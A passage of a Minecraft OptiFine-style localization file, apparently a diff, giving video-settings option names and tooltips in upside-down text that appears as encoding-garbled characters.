Çpá´‰s êžêžnÉŸ - ʇsÉℲ +of.options.BETTER_GRASS.tooltip.1=ʇsÇÊoêžs 'ÇɹnʇxÇʇ ssÉɹᵷ Çpá´‰s ɔᴉɯÉuÊŽp - ÊŽÉ”uÉℲ + +of.options.BETTER_SNOW=ÊouS ɹÇʇʇÇá—º +of.options.BETTER_SNOW.tooltip.5=ÊouS ɹÇʇʇÇá—º +of.options.BETTER_SNOW.tooltip.4=ɹÇʇsÉÉŸ 'Êous ʇêžnÉÉŸÇp - ℲℲO +of.options.BETTER_SNOW.tooltip.3=ɹÇÊoêžs 'Êous ɹÇʇʇÇq - NO +of.options.BETTER_SNOW.tooltip.2=(ssÉɹᵷ êžêžÉʇ 'ÇÉ”uÇÉŸ) sʞɔoêžq ʇuÇɹÉdsuÉɹʇ ɹÇpun Êous sÊoÉ¥S +of.options.BETTER_SNOW.tooltip.1=Ë™sʞɔoêžq Êous É¥Ê‡á´‰Ê áµ·uᴉɹÇpɹoq uÇÉ¥Ê + +of.options.CUSTOM_FONTS=sʇuoℲ ɯoʇsnƆ +of.options.CUSTOM_FONTS.tooltip.5=sʇuoℲ ɯoʇsnƆ +of.options.CUSTOM_FONTS.tooltip.4=ɹÇÊoêžs '(ʇêžnÉÉŸÇp) sʇuoÉŸ ɯoʇsnÉ” sÇsn - NO +of.options.CUSTOM_FONTS.tooltip.3=ɹÇʇsÉÉŸ 'ʇuoÉŸ ʇêžnÉÉŸÇp sÇsn - ℲℲO +of.options.CUSTOM_FONTS.tooltip.2=ʇuÇɹɹnÉ” Çɥʇ ÊŽq pÇá´‰êžddns ÇÉ¹É sʇuoÉŸ ɯoʇsnÉ” Çɥ⟘ +of.options.CUSTOM_FONTS.tooltip.1=˙ʞɔÉd ÇɔɹnosÇɹ + +of.options.CUSTOM_COLORS=sɹnoêžoƆ ɯoʇsnƆ +of.options.CUSTOM_COLORS.tooltip.5=sɹnoêžoƆ ɯoʇsnƆ +of.options.CUSTOM_COLORS.tooltip.4=ɹÇÊoêžs '(ʇêžnÉÉŸÇp) sɹnoêžoÉ” ɯoʇsnÉ” sÇsn - NO +of.options.CUSTOM_COLORS.tooltip.3=ɹÇʇsÉÉŸ ' sɹnoêžoÉ” ʇêžnÉÉŸÇp sÇsn - ℲℲO +of.options.CUSTOM_COLORS.tooltip.2=ʇuÇɹɹnÉ” Çɥʇ ÊŽq pÇá´‰êžddns ÇÉ¹É sɹnoêžoÉ” ɯoʇsnÉ” Çɥ⟘ +of.options.CUSTOM_COLORS.tooltip.1=˙ʞɔÉd ÇɔɹnosÇɹ + +of.options.SWAMP_COLORS=sɹnoêžoƆ dɯÉÊS +of.options.SWAMP_COLORS.tooltip.4=sɹnoêžoƆ dɯÉÊS +of.options.SWAMP_COLORS.tooltip.3=ɹÇÊoêžs '(ʇêžnÉÉŸÇp) sɹnoêžoÉ” dɯÉÊs Çsn - NO +of.options.SWAMP_COLORS.tooltip.2=ɹÇʇsÉÉŸ 'sɹnoêžoÉ” dɯÉÊs Çsn ʇou op - ℲℲO +of.options.SWAMP_COLORS.tooltip.1=˙ɹÇʇÉÊ puÉ sÇuᴉʌ 'sÇÊŒÉÇêž 'ssÉɹᵷ ʇɔÇÉŸÉŸÉ sɹnoêžoÉ” dɯÉÊs Çɥ⟘ + +of.options.SMOOTH_BIOMES=sÇɯoá´‰q ɥʇooɯS +of.options.SMOOTH_BIOMES.tooltip.6=sÇɯoá´‰q ɥʇooɯS +of.options.SMOOTH_BIOMES.tooltip.5=ɹÇÊoêžs '(ʇêžnÉÉŸÇp) sɹÇpɹoq Çɯoá´‰q ÉŸo áµ·uᴉɥʇooɯs - NO +of.options.SMOOTH_BIOMES.tooltip.4=ɹÇʇsÉÉŸ 'sɹÇpɹoq Çɯoá´‰q ÉŸo áµ·uᴉɥʇooɯs ou - ℲℲO +of.options.SMOOTH_BIOMES.tooltip.3=puÉ áµ·uá´‰êždɯÉs ÊŽq Çuop sá´‰ sɹÇpɹoq Çɯoá´‰q ÉŸo áµ·uᴉɥʇooɯs Çɥ⟘ +of.options.SMOOTH_BIOMES.tooltip.2=Ë™sʞɔoêžq áµ·uá´‰punoɹɹns êžêžÉ ÉŸo ɹnoêžoÉ” Çɥʇ áµ·uᴉᵷÉɹÇÊŒÉ +of.options.SMOOTH_BIOMES.tooltip.1=˙ɹÇʇÉÊ puÉ sÇuᴉʌ 'sÇÊŒÉÇêž 'ssÉɹᵷ ÇÉ¹É pÇʇɔÇɟɟⱯ + +of.options.CONNECTED_TEXTURES=sÇɹnʇxÇ⟘ pÇʇɔÇuuoƆ +of.options.CONNECTED_TEXTURES.tooltip.8=sÇɹnʇxÇ⟘ pÇʇɔÇuuoƆ +of.options.CONNECTED_TEXTURES.tooltip.7=(ʇêžnÉÉŸÇp) sÇɹnʇxÇʇ pÇʇɔÇuuoÉ” ou - ℲℲO +of.options.CONNECTED_TEXTURES.tooltip.6=sÇɹnʇxÇʇ pÇʇɔÇuuoÉ” ʇsÉÉŸ - ʇsÉℲ +of.options.CONNECTED_TEXTURES.tooltip.5=sÇɹnʇxÇʇ pÇʇɔÇuuoÉ” ÊŽÉ”uÉÉŸ - ÊŽÉ”uÉℲ +of.options.CONNECTED_TEXTURES.tooltip.4='ssÉêžáµ· ÉŸo sÇɹnʇxÇʇ Çɥʇ suá´‰oɾ sÇɹnʇxÇʇ pÇʇɔÇuuoƆ +of.options.CONNECTED_TEXTURES.tooltip.3=oʇ ʇxÇu pÇÉ”Éêžd uÇÉ¥Ê sÇÊŒêžÇÉ¥sÊžooq puÉ ÇuoʇspuÉs +of.options.CONNECTED_TEXTURES.tooltip.2=pÇá´‰êžddns ÇÉ¹É sÇɹnʇxÇʇ pÇʇɔÇuuoÉ” Çɥ⟘ ˙ɹÇɥʇo ɥɔÉÇ +of.options.CONNECTED_TEXTURES.tooltip.1=˙ʞɔÉd ÇɔɹnosÇɹ ʇuÇɹɹnÉ” Çɥʇ ÊŽq + +of.options.NATURAL_TEXTURES=sÇɹnʇxÇ⟘ êžÉɹnʇÉN +of.options.NATURAL_TEXTURES.tooltip.8=sÇɹnʇxÇ⟘ êžÉɹnʇÉN +of.options.NATURAL_TEXTURES.tooltip.7=(ʇêžnÉÉŸÇp) sÇɹnʇxÇʇ êžÉɹnʇÉu ou - ℲℲO +of.options.NATURAL_TEXTURES.tooltip.6=sÇɹnʇxÇʇ êžÉɹnʇÉu Çsn - NO +of.options.NATURAL_TEXTURES.tooltip.5=uɹÇʇʇÉd ÇÊžá´‰êžpᴉɹᵷ Çɥʇ ÇÊŒoɯÇɹ sÇɹnʇxÇʇ êžÉɹnʇÉN +of.options.NATURAL_TEXTURES.tooltip.4=Ë™Çdʎʇ ÇɯÉs Çɥʇ ÉŸo sʞɔoêžq áµ·uᴉʇÉÇdÇɹ ÊŽq pÇʇÉÇɹɔ +of.options.NATURAL_TEXTURES.tooltip.3=ÇsÉq Çɥʇ ÉŸo sʇuÉᴉɹÉÊŒ pÇddá´‰êžÉŸ puÉ pÇʇÉʇoɹ sÇsn ʇI +of.options.NATURAL_TEXTURES.tooltip.2=êžÉɹnʇÉu Çɥʇ ɹoÉŸ uoᴉʇÉɹnᵷᴉɟuoÉ” Çɥ⟘ Ë™ÇɹnʇxÇʇ ʞɔoêžq +of.options.NATURAL_TEXTURES.tooltip.1=˙ʞɔÉd ÇɔɹnosÇɹ ʇuÇɹɹnÉ” Çɥʇ ÊŽq pÇá´‰êžddns sá´‰ sÇɹnʇxÇʇ + +of.options.EMISSIVE_TEXTURES=sÇɹnʇxÇ⟘ ÇʌᴉssᴉɯƎ +of.options.EMISSIVE_TEXTURES.tooltip.8=sÇɹnʇxÇ⟘ ÇʌᴉssᴉɯƎ +of.options.EMISSIVE_TEXTURES.tooltip.7=(ʇêžnÉÉŸÇp) sÇɹnʇxÇʇ Çʌᴉssá´‰É¯Ç ou - ℲℲO +of.options.EMISSIVE_TEXTURES.tooltip.6=sÇɹnʇxÇʇ Çʌᴉssá´‰É¯Ç Çsn - NO +of.options.EMISSIVE_TEXTURES.tooltip.5=sÊŽÉêžÉ¹ÇÊŒo sÉ pÇɹÇpuÇɹ ÇÉ¹É sÇɹnʇxÇʇ Çʌᴉssá´‰É¯Ç Çɥ⟘ +of.options.EMISSIVE_TEXTURES.tooltip.4=ÇʇÉêžnɯᴉs oʇ pÇsn Çq uÉÉ” ÊŽÇɥ⟘ Ë™ssÇuʇɥᵷᴉɹq êžêžnÉŸ É¥Ê‡á´‰Ê +of.options.EMISSIVE_TEXTURES.tooltip.3=Ë™ÇɹnʇxÇʇ ÇsÉq Çɥʇ ÉŸo sʇɹÉd áµ·uá´‰Ê‡Ê‡á´‰É¯Ç Ê‡É¥áµ·á´‰êž +of.options.EMISSIVE_TEXTURES.tooltip.2=ʇuÇɹɹnÉ” Çɥʇ ÊŽq pÇá´‰êžddns ÇÉ¹É sÇɹnʇxÇʇ Çʌᴉssá´‰É¯Ç Çɥ⟘ +of.options.EMISSIVE_TEXTURES.tooltip.1=˙ʞɔÉd ÇɔɹnosÇɹ + +of.options.CUSTOM_SKY=ÊŽÊžS ɯoʇsnƆ +of.options.CUSTOM_SKY.tooltip.5=ÊŽÊžS ɯoʇsnƆ +of.options.CUSTOM_SKY.tooltip.4=Êoêžs '(ʇêžnÉÉŸÇp) sÇɹnʇxÇʇ ÊŽÊžs ɯoʇsnÉ” - NO +of.options.CUSTOM_SKY.tooltip.3=ɹÇʇsÉÉŸ 'ÊŽÊžs ʇêžnÉÉŸÇp - ℲℲO +of.options.CUSTOM_SKY.tooltip.2=ʇuÇɹɹnÉ” Çɥʇ ÊŽq pÇá´‰êžddns ÇÉ¹É sÇɹnʇxÇʇ ÊŽÊžs ɯoʇsnÉ” Çɥ⟘ +of.options.CUSTOM_SKY.tooltip.1=˙ʞɔÉd ÇɔɹnosÇɹ + +of.options.CUSTOM_ITEMS=sɯÇʇI ɯoʇsnƆ +of.options.CUSTOM_ITEMS.tooltip.5=sɯÇʇI ɯoʇsnƆ +of.options.CUSTOM_ITEMS.tooltip.4=Êoêžs '(ʇêžnÉÉŸÇp) sÇɹnʇxÇʇ ɯÇʇᴉ ɯoʇsnÉ” - NO +of.options.CUSTOM_ITEMS.tooltip.3=ɹÇʇsÉÉŸ 'sÇɹnʇxÇʇ ɯÇʇᴉ ʇêžnÉÉŸÇp - ℲℲO +of.options.CUSTOM_ITEMS.tooltip.2=ʇuÇɹɹnÉ” Çɥʇ ÊŽq pÇá´‰êžddns ÇÉ¹É sÇɹnʇxÇʇ ɯÇʇᴉ ɯoʇsnÉ” Çɥ⟘ +of.options.CUSTOM_ITEMS.tooltip.1=˙ʞɔÉd ÇɔɹnosÇɹ + +of.options.CUSTOM_ENTITY_MODELS=sêžÇpoW ʎʇᴉʇuÆŽ ɯoʇsnƆ +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=sêžÇpoW ʎʇᴉʇuÆŽ ɯoʇsnƆ +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Êoêžs '(ʇêžnÉÉŸÇp) sêžÇpoɯ ʎʇᴉʇuÇ É¯oʇsnÉ” - NO +of.options.CUSTOM_ENTITY_MODELS.tooltip.3=ɹÇʇsÉÉŸ 'sêžÇpoɯ ʎʇᴉʇuÇ Ê‡êžnÉÉŸÇp - ℲℲO +of.options.CUSTOM_ENTITY_MODELS.tooltip.2=ʇuÇɹɹnÉ” Çɥʇ ÊŽq pÇá´‰êžddns ÇÉ¹É sêžÇpoɯ ʎʇᴉʇuÇ É¯oʇsnÉ” Çɥ⟘ +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=˙ʞɔÉd ÇɔɹnosÇɹ + +of.options.CUSTOM_GUIS=sI∩פ ɯoʇsnƆ +of.options.CUSTOM_GUIS.tooltip.4=sI∩פ ɯoʇsnƆ +of.options.CUSTOM_GUIS.tooltip.3=ɹÇÊoêžs '(ʇêžnÉÉŸÇp) sI∩פ ɯoʇsnÉ” - NO +of.options.CUSTOM_GUIS.tooltip.2=ɹÇʇsÉÉŸ 'sI∩פ ʇêžnÉÉŸÇp - ℲℲO +of.options.CUSTOM_GUIS.tooltip.1=˙ʞɔÉd ÇɔɹnosÇɹ ʇuÇɹɹnÉ” Çɥʇ ÊŽq pÇá´‰êžddns ÇÉ¹É sI∩פ ɯoʇsnÉ” Çɥ⟘ + +# Details + +of.options.CLOUDS=spnoêžÆ† +of.options.CLOUDS.tooltip.7=spnoêžÆ† +of.options.CLOUDS.tooltip.6=sɔᴉɥdÉɹפ áµ·uᴉʇʇÇs ÊŽq ʇÇs sÉ - ʇêžnÉÉŸÇp +of.options.CLOUDS.tooltip.5=ɹÇʇsÉÉŸ 'ʎʇᴉêžÉnb ɹÇÊoêž - ʇsÉℲ +of.options.CLOUDS.tooltip.4=ɹÇÊoêžs 'ʎʇᴉêžÉnb ɹÇɥᵷᴉɥ - ÊŽÉ”uÉℲ +of.options.CLOUDS.tooltip.3=ʇsÇʇsÉÉŸ 'spnoêžÉ” ou - ℲℲO +of.options.CLOUDS.tooltip.2=Ë™pᘔ pÇɹÇpuÇɹ ÇÉ¹É spnoêžÉ” ʇsÉℲ +of.options.CLOUDS.tooltip.1=Ë™pÆ pÇɹÇpuÇɹ ÇÉ¹É spnoêžÉ” ÊŽÉ”uÉℲ + +of.options.CLOUD_HEIGHT=ʇɥᵷᴉÇH pnoêžÆ† +of.options.CLOUD_HEIGHT.tooltip.3=ʇɥᵷᴉÇH pnoêžÆ† +of.options.CLOUD_HEIGHT.tooltip.2=ʇɥᵷᴉÇÉ¥ ʇêžnÉÉŸÇp - ℲℲO +of.options.CLOUD_HEIGHT.tooltip.1=Ê‡á´‰É¯á´‰êž Ê‡É¥áµ·á´‰ÇÉ¥ pêžÉ¹oÊ ÇÊŒoqÉ - %%00⥠+ +of.options.TREES=sÇÇɹ⟘ +of.options.TREES.tooltip.7=sÇÇɹ⟘ +of.options.TREES.tooltip.6=sɔᴉɥdÉɹפ áµ·uᴉʇʇÇs ÊŽq ʇÇs sÉ - ʇêžnÉÉŸÇp +of.options.TREES.tooltip.5=ɹÇʇsÉÉŸ 'ʎʇᴉêžÉnb ɹÇÊoêž - ʇsÉℲ +of.options.TREES.tooltip.4=ʇsÉÉŸ 'ʎʇᴉêžÉnb ɹÇɥᵷᴉɥ - ʇɹÉɯS +of.options.TREES.tooltip.3=ɹÇÊoêžs 'ʎʇᴉêžÉnb ʇsÇɥᵷᴉɥ - ÊŽÉ”uÉℲ +of.options.TREES.tooltip.2=Ë™sÇÊŒÉÇêž ÇnbÉdo ÇÊŒÉÉ¥ sÇÇɹʇ ʇsÉℲ +of.options.TREES.tooltip.1=Ë™sÇÊŒÉÇêž Ê‡uÇɹÉdsuÉɹʇ ÇÊŒÉÉ¥ sÇÇɹʇ ʇɹÉɯs puÉ ÊŽÉ”uÉℲ + +of.options.RAIN=ÊouS â…‹ uá´‰Éá´š +of.options.RAIN.tooltip.7=ÊouS â…‹ uá´‰Éá´š +of.options.RAIN.tooltip.6=sɔᴉɥdÉɹפ áµ·uᴉʇʇÇs ÊŽq ʇÇs sÉ - ʇêžnÉÉŸÇp +of.options.RAIN.tooltip.5=ɹÇʇsÉÉŸ 'Êous/uá´‰Éɹ Ê‡É¥áµ·á´‰êž - ʇsÉℲ +of.options.RAIN.tooltip.4=ɹÇÊoêžs 'Êous/uá´‰Éɹ ÊŽÊŒÉÇÉ¥ - ÊŽÉ”uÉℲ +of.options.RAIN.tooltip.3=ʇsÇʇsÉÉŸ 'Êous/uá´‰Éɹ ou - ℲℲO +of.options.RAIN.tooltip.2=spunos uá´‰Éɹ puÉ sÇÉ¥sÉêžds Çɥʇ ℲℲO sá´‰ uá´‰Éɹ uÇÉ¥M +of.options.RAIN.tooltip.1=Ë™ÇÊŒá´‰Ê‡É”É êžêžá´‰Ê‡s ÇÉ¹É + +of.options.SKY=ÊŽÊžS +of.options.SKY.tooltip.4=ÊŽÊžS +of.options.SKY.tooltip.3=ɹÇÊoêžs 'Çêžqá´‰sᴉʌ sá´‰ ÊŽÊžs - NO +of.options.SKY.tooltip.2=ɹÇʇsÉÉŸ 'Çêžqá´‰sᴉʌ ʇou sá´‰ ÊŽÊžs - ℲℲO +of.options.SKY.tooltip.1=Ë™Çêžqá´‰sᴉʌ êžêžá´‰Ê‡s ÇÉ¹É uns puÉ uooɯ Çɥʇ ℲℲO sá´‰ ÊŽÊžs uÇÉ¥M + +of.options.STARS=sɹÉʇS +of.options.STARS.tooltip.3=sɹÉʇS +of.options.STARS.tooltip.2=ɹÇÊoêžs 'Çêžqá´‰sᴉʌ ÇÉ¹É sɹÉʇs - NO +of.options.STARS.tooltip.1=ɹÇʇsÉÉŸ 'Çêžqá´‰sᴉʌ ʇou ÇÉ¹É sɹÉʇs - ℲℲO + +of.options.SUN_MOON=uooW â…‹ unS +of.options.SUN_MOON.tooltip.3=uooW â…‹ unS +of.options.SUN_MOON.tooltip.2=(ʇêžnÉÉŸÇp) Çêžqá´‰sᴉʌ ÇÉ¹É uooɯ puÉ uns - NO +of.options.SUN_MOON.tooltip.1=(ɹÇʇsÉÉŸ) Çêžqá´‰sᴉʌ ʇou ÇÉ¹É uooɯ puÉ uns - ℲℲO + +of.options.SHOW_CAPES=sÇdÉƆ ÊoÉ¥S +of.options.SHOW_CAPES.tooltip.3=sÇdÉƆ ÊoÉ¥S +of.options.SHOW_CAPES.tooltip.2=(ʇêžnÉÉŸÇp) sÇdÉÉ” ɹÇÊŽÉêžd ÊoÉ¥s - NO +of.options.SHOW_CAPES.tooltip.1=sÇdÉÉ” ɹÇÊŽÉêžd ÊoÉ¥s ʇou op - ℲℲO + +of.options.TRANSLUCENT_BLOCKS=sʞɔoêžq ʇuÇÉ”nêžsuÉɹ⟘ +of.options.TRANSLUCENT_BLOCKS.tooltip.7=sʞɔoêžq ʇuÇÉ”nêžsuÉɹ⟘ +of.options.TRANSLUCENT_BLOCKS.tooltip.6=sɔᴉɥdÉɹפ áµ·uᴉʇʇÇs ÊŽq ʇÇs sÉ - ʇêžnÉÉŸÇp +of.options.TRANSLUCENT_BLOCKS.tooltip.5=(ɹÇÊoêžs) áµ·uá´‰puÇêžq ɹnoêžoÉ” ʇɔÇɹɹoÉ” - ÊŽÉ”uÉℲ +of.options.TRANSLUCENT_BLOCKS.tooltip.4=(ɹÇʇsÉÉŸ) áµ·uá´‰puÇêžq ɹnoêžoÉ” ʇsÉÉŸ - ʇsÉℲ +of.options.TRANSLUCENT_BLOCKS.tooltip.3=sʞɔoêžq ʇuÇÉ”nêžsuÉɹʇ ÉŸo áµ·uá´‰puÇêžq ɹnoêžoÉ” Çɥʇ sêžoɹʇuoƆ +of.options.TRANSLUCENT_BLOCKS.tooltip.2=(Çɔᴉ 'ɹÇʇÉÊ 'ssÉêžáµ· pÇuá´‰Éʇs) sɹnoêžoÉ” ʇuÇɹÇÉŸÉŸá´‰p É¥Ê‡á´‰Ê +of.options.TRANSLUCENT_BLOCKS.tooltip.1=˙ɯÇɥʇ uÇÇÊʇÇq É¹á´‰É É¥Ê‡á´‰Ê É¹Çɥʇo ɥɔÉÇ puᴉɥÇq pÇÉ”Éêžd uÇÉ¥Ê + +of.options.HELD_ITEM_TOOLTIPS=sdᴉʇêžoo⟘ ɯÇʇI pêžÇH +of.options.HELD_ITEM_TOOLTIPS.tooltip.3=sdᴉʇêžooʇ ɯÇʇᴉ pêžÇH +of.options.HELD_ITEM_TOOLTIPS.tooltip.2=(ʇêžnÉÉŸÇp) sɯÇʇᴉ pêžÇÉ¥ ɹoÉŸ sdᴉʇêžooʇ ÊoÉ¥s - NO +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=sɯÇʇᴉ pêžÇÉ¥ ɹoÉŸ sdᴉʇêžooʇ ÊoÉ¥s ʇou op - ℲℲO + +of.options.ADVANCED_TOOLTIPS=sdᴉʇêžoo⟘ pÇÉ”uÉÊŒpⱯ +of.options.ADVANCED_TOOLTIPS.tooltip.6=sdᴉʇêžooʇ pÇÉ”uÉÊŒpⱯ +of.options.ADVANCED_TOOLTIPS.tooltip.5= sdᴉʇêžooʇ pÇÉ”uÉÊŒpÉ ÊoÉ¥s - NO +of.options.ADVANCED_TOOLTIPS.tooltip.4=(ʇêžnÉÉŸÇp) sdᴉʇêžooʇ pÇÉ”uÉÊŒpÉ ÊoÉ¥s ʇou op - ℲℲO +of.options.ADVANCED_TOOLTIPS.tooltip.3=ɹoÉŸ uoᴉʇÉɯɹoÉŸuá´‰ pÇpuÇʇxÇ ÊoÉ¥s sdᴉʇêžooʇ pÇÉ”uÉÊŒpⱯ +of.options.ADVANCED_TOOLTIPS.tooltip.2=suoᴉʇdo ɹÇpÉÉ¥s ɹoÉŸ puÉ (ʎʇᴉêžá´‰qÉɹnp 'pá´‰) sɯÇʇᴉ +of.options.ADVANCED_TOOLTIPS.tooltip.1=Ë™(ÇnêžÉÊŒ ʇêžnÉÉŸÇp 'Çɔɹnos 'pá´‰) + +of.options.DROPPED_ITEMS=sɯÇʇI pÇddoɹᗡ +of.options.DROPPED_ITEMS.tooltip.4=sɯÇʇI pÇddoɹᗡ +of.options.DROPPED_ITEMS.tooltip.3=sɔᴉɥdÉɹפ áµ·uᴉʇʇÇs ÊŽq ʇÇs sÉ - ʇêžnÉÉŸÇp +of.options.DROPPED_ITEMS.tooltip.2=(ɹÇʇsÉÉŸ) sɯÇʇᴉ pÇddoɹp pᘔ - ʇsÉℲ +of.options.DROPPED_ITEMS.tooltip.1=(ɹÇÊoêžs) sɯÇʇᴉ pÇddoɹp pÆ - ÊŽÉ”uÉℲ + +options.entityShadows.tooltip.3=sÊopÉÉ¥S ʎʇᴉʇuÆŽ +options.entityShadows.tooltip.2=sÊopÉÉ¥s ʎʇᴉʇuÇ ÊoÉ¥s - NO +options.entityShadows.tooltip.1=sÊopÉÉ¥s ʎʇᴉʇuÇ ÊoÉ¥s ʇou op - ℲℲO + +of.options.VIGNETTE=ÇʇʇÇuᵷᴉΛ +of.options.VIGNETTE.tooltip.8=sɹÇuɹoÉ” uÇÇɹɔs Çɥʇ suÇʞɹÉp ÊŽêžÊ‡É¥áµ·á´‰êžs É¥É”á´‰É¥Ê Ê‡É”ÇÉŸÉŸÇ êžÉnsᴉΛ +of.options.VIGNETTE.tooltip.7=(ʇêžnÉÉŸÇp) sɔᴉɥdÉɹפ áµ·uᴉʇʇÇs Çɥʇ ÊŽq ʇÇs sÉ - ʇêžnÉÉŸÇp +of.options.VIGNETTE.tooltip.6=(ɹÇʇsÉÉŸ) pÇêžqÉsá´‰p ÇʇʇÇuᵷᴉʌ - ʇsÉℲ +of.options.VIGNETTE.tooltip.5=(ɹÇÊoêžs) pÇêžqÉuÇ ÇʇʇÇuᵷᴉʌ - ÊŽÉ”uÉℲ +of.options.VIGNETTE.tooltip.4='SԀℲ Çɥʇ uo ʇɔÇÉŸÉŸÇ Ê‡uÉɔᴉɟᴉuáµ·á´‰s É ÇÊŒÉÉ¥ ÊŽÉɯ ÇʇʇÇuᵷᴉʌ Çɥ⟘ +of.options.VIGNETTE.tooltip.3=Ë™uÇÇɹɔsêžêžnÉŸ áµ·uᴉʎÉêžd uÇÉ¥Ê ÊŽêžêžÉᴉɔÇdsÇ +of.options.VIGNETTE.tooltip.2=ÊŽêžÇÉŸÉs uÉÉ” puÉ ÇêžÊ‡qns ʎɹÇÊŒ sá´‰ ʇɔÇÉŸÉŸÇ ÇʇʇÇuᵷᴉʌ Çɥ⟘ +of.options.VIGNETTE.tooltip.1=Ë™pÇêžqÉsá´‰p Çq + +of.options.DYNAMIC_FOV=ΛoℲ ɔᴉɯÉuÊŽá—¡ +of.options.DYNAMIC_FOV.tooltip.5=ΛoℲ ɔᴉɯÉuÊŽá—¡ +of.options.DYNAMIC_FOV.tooltip.4=(ʇêžnÉÉŸÇp) ΛoℲ ɔᴉɯÉuÊŽp ÇêžqÉuÇ - NO +of.options.DYNAMIC_FOV.tooltip.3=ΛoℲ ɔᴉɯÉuÊŽp ÇêžqÉsá´‰p - ℲℲO +of.options.DYNAMIC_FOV.tooltip.2= áµ·uᴉʇuᴉɹds 'áµ·uᴉʎêžÉŸ uÇÉ¥Ê (ΛoℲ) ÊÇᴉʌ ÉŸo pêžÇᴉɟ Çɥʇ sÇáµ·uÉɥƆ +of.options.DYNAMIC_FOV.tooltip.1=Ë™Êoq É áµ·uá´‰êžêžnd ɹo + +of.options.DYNAMIC_LIGHTS=sʇɥᵷᴉꞀ ɔᴉɯÉuÊŽá—¡ +of.options.DYNAMIC_LIGHTS.tooltip.7=sʇɥᵷᴉꞀ ɔᴉɯÉuÊŽá—¡ +of.options.DYNAMIC_LIGHTS.tooltip.6=(ʇêžnÉÉŸÇp) sÊ‡É¥áµ·á´‰êž É”á´‰É¯ÉuÊŽp ou - ℲℲO +of.options.DYNAMIC_LIGHTS.tooltip.5=(sɯ00Ï› ʎɹÇÊŒÇ pÇʇÉpdn) sÊ‡É¥áµ·á´‰êž É”á´‰É¯ÉuÊŽp ʇsÉÉŸ - ʇsÉℲ +of.options.DYNAMIC_LIGHTS.tooltip.4=(Çɯᴉʇ-êžÉÇɹ uá´‰ pÇʇÉpdn) sÊ‡É¥áµ·á´‰êž É”á´‰É¯ÉuÊŽp ÊŽÉ”uÉÉŸ - ÊŽÉ”uÉℲ +of.options.DYNAMIC_LIGHTS.tooltip.3=(Ë™É”Ê‡Ç 'ÇuoʇsÊoêžáµ· 'ɥɔɹoʇ) sɯÇʇᴉ áµ·uá´‰Ê‡Ê‡á´‰É¯Ç Ê‡É¥áµ·á´‰êž sÇêžqÉuÆŽ +of.options.DYNAMIC_LIGHTS.tooltip.2='puÉÉ¥ uá´‰ pêžÇÉ¥ uÇÉ¥Ê É¯Çɥʇ punoÉ¹É áµ·uᴉɥʇʎɹÇÊŒÇ ÇʇÉuᴉɯnêžêžá´‰ oʇ +of.options.DYNAMIC_LIGHTS.tooltip.1=Ë™punoɹᵷ Çɥʇ uo pÇddoɹp ɹo ɹÇÊŽÉêžd ɹÇɥʇo ÊŽq pÇddá´‰nbÇ + +options.biomeBlendRadius.tooltip.6=sÇɯoá´‰q uÇÇÊʇÇq uoᴉʇᴉsuÉɹʇ ɹnoêžoÉ” Çɥʇ sɥʇooɯS +options.biomeBlendRadius.tooltip.5=(ʇsÇʇsÉÉŸ) áµ·uá´‰puÇêžq ou - ℲℲO +options.biomeBlendRadius.tooltip.4=(ʇêžnÉÉŸÇp) áµ·uá´‰puÇêžq êžÉɯɹou - Ï›xÏ› +options.biomeBlendRadius.tooltip.3=(ʇsÇÊoêžs) áµ·uá´‰puÇêžq êžÉɯᴉxÉɯ - Ï›â¥xϛ⥠+options.biomeBlendRadius.tooltip.2=sÇÊžá´‰ds áµ·Éêž Ê‡uÉɔᴉɟᴉuáµ·á´‰s ÇʇÉɹÇuÇáµ· ÊŽÉɯ sÇnêžÉÊŒ ɹÇɥᵷᴉH +options.biomeBlendRadius.tooltip.1=Ë™pÇÇds áµ·uá´‰pÉoêž Êžunɥɔ Çɥʇ uÊop Êoêžs puÉ + +# Performance + +of.options.SMOOTH_FPS=SԀℲ ɥʇooɯS +of.options.SMOOTH_FPS.tooltip.5=Ë™sɹÇÉŸÉŸnq ɹÇʌᴉɹp ɔᴉɥdÉɹᵷ Çɥʇ áµ·uᴉɥsnêžÉŸ ÊŽq SԀℲ sÇsá´‰êžá´‰qÉʇS +of.options.SMOOTH_FPS.tooltip.4=ÇʇÉnʇɔnêžÉŸ ÊŽÉɯ SԀℲ 'uoᴉʇÉsá´‰êžá´‰qÉʇs ou - ℲℲO +of.options.SMOOTH_FPS.tooltip.3=uoᴉʇÉsá´‰êžá´‰qÉʇs SԀℲ - NO +of.options.SMOOTH_FPS.tooltip.2=ʇɔÇÉŸÉŸÇ sʇᴉ puÉ Ê‡uÉpuÇdÇp ɹÇʌᴉɹp sɔᴉɥdÉɹᵷ sá´‰ uoᴉʇdo sᴉɥ⟘ +of.options.SMOOTH_FPS.tooltip.1=Ë™Çêžqá´‰sᴉʌ sÊŽÉÊêžÉ ʇou sá´‰ + +of.options.SMOOTH_WORLD=pêžÉ¹oM ɥʇooɯS +of.options.SMOOTH_WORLD.tooltip.5=˙ɹÇʌɹÇs êžÉuɹÇʇuá´‰ Çɥʇ ÊŽq pÇsnÉÉ” sÇÊžá´‰ds áµ·Éêž sÇÊŒoɯÇá´š +of.options.SMOOTH_WORLD.tooltip.4=ÇʇÉnʇɔnêžÉŸ ÊŽÉɯ SԀℲ 'uoᴉʇÉsá´‰êžá´‰qÉʇs ou - ℲℲO +of.options.SMOOTH_WORLD.tooltip.3=uoᴉʇÉsá´‰êžá´‰qÉʇs SԀℲ - NO +of.options.SMOOTH_WORLD.tooltip.2=Ë™pÉoêž É¹ÇʌɹÇs êžÉuɹÇʇuá´‰ Çɥʇ áµ·uᴉʇnqᴉɹʇsá´‰p ÊŽq SԀℲ sÇsá´‰êžá´‰qÉʇS +of.options.SMOOTH_WORLD.tooltip.1=Ë™(ɹÇÊŽÉêžd Çêžáµ·uá´‰s) spêžÉ¹oÊ êžÉÉ”oêž É¹oÉŸ ÊŽêžuo ÇʌᴉʇɔÇÉŸÉŸÆŽ + +of.options.FAST_RENDER=ɹÇpuÇɹ ʇsÉℲ +of.options.FAST_RENDER.tooltip.6=ɹÇpuÇɹ ʇsÉℲ +of.options.FAST_RENDER.tooltip.5=(ʇêžnÉÉŸÇp) áµ·uᴉɹÇpuÇɹ pɹÉpuÉʇs - ℲℲO +of.options.FAST_RENDER.tooltip.4=(ɹÇʇsÉÉŸ) áµ·uᴉɹÇpuÇɹ pÇsᴉɯᴉʇdo - NO 